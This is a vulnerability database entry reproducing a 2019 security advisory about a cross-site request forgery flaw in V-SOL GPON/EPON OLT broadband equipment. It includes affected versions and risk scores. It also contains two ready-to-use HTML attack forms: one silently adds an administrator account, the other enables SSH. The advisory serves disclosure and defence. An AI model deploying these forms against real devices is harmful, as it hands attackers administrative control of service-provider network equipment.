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V-SOL GPON/EPON OLT Platform v2.03 Cross-Site Request Forgery

🗓️ 26 Sep 2019 00:00:00Reported by Gjoko KrsticType 
zeroscience
 zeroscience
🔗 www.zeroscience.mk👁 230 Views

V-SOL GPON/EPON OLT Platform v2.03 Cross-Site Request Forgery advisory and impact on broadband technology

Related
Code
ReporterTitlePublishedViews
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CNNVD
V-SOL GPON/EPON OLT Platform 安全漏洞
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CVE-2019-25238
24 Dec 202519:27
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CVE-2019-25238 V-SOL GPON/EPON OLT Platform 2.03 Cross-Site Request Forgery Vulnerability
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EUVD-2025-205319
24 Dec 202521:30
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<html><body><p>V-SOL GPON/EPON OLT Platform v2.03 Cross-Site Request Forgery


Vendor: Guangzhou V-SOLUTION Electronic Technology Co., Ltd.
Product web page: https://www.vsolcn.com
Affected version: V2.03.62R_IPv6
                  V2.03.54R
                  V2.03.52R
                  V2.03.49
                  V2.03.47
                  V2.03.40
                  V2.03.26
                  V2.03.24
                  V1.8.6
                  V1.4

Summary: GPON is currently the leading FTTH standard in broadband access
technology being widely deployed by service providers around the world.
GPON/EPON OLT products are 1U height 19 inch rack mount products. The
features of the OLT are small, convenient, flexible, easy to deploy, high
performance. It is appropriate to be deployed in compact room environment.
The OLTs can be used for 'Triple-Play', VPN, IP Camera, Enterprise LAN and
ICT applications.

Desc: The application interface allows users to perform certain actions via
HTTP requests without performing any validity checks to verify the requests.
This can be exploited to perform certain actions with administrative privileges
if a logged-in user visits a malicious web site.

Tested on: GoAhead-Webs


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience


Advisory ID: ZSL-2019-5536
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2019-5536.php

25.09.2019

--


CSRF add admin:
---------------


  </p>
<form action="http://192.168.8.200/action/user.html" method="POST">
<input name="user_name_add" type="hidden" value="Spy"/>
<input name="user_password_add" type="hidden" value="pass123"/>
<input name="password_confirm_add" type="hidden" value="pass123"/>
<input name="user_role" type="hidden" value="1"/>
<input name="user_name_mod" type="hidden" value=""/>
<input name="user_password_mod" type="hidden" value=""/>
<input name="password_confirm_mod" type="hidden" value=""/>
<input name="user_role_mod" type="hidden" value="0"/>
<input name="option_um" type="hidden" value="100/"/>
<input name="who" type="hidden" value="0"/>
<input type="submit" value="Init"/>
</form>
  



CSRF enable SSH:
----------------


  
    <form action="https://192.168.8.200/action/sshglobal.html" method="POST">
<input name="ssh_enable" type="hidden" value="1"/>
<input name="ssh_version" type="hidden" value="2"/>
<input name="auth_retries" type="hidden" value="6"/>
<input name="ssh_timeout" type="hidden" value="120"/>
<input name="ssh_modulus" type="hidden" value="2048"/>
<input name="who" type="hidden" value="0"/>
<input type="submit" value="Init"/>
</form>
</body></html>

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26 Sep 2019 00:00Current
5.8Medium risk
Vulners AI Score5.8
CVSS 3.14.3
CVSS 45.1
EPSS0.00018
230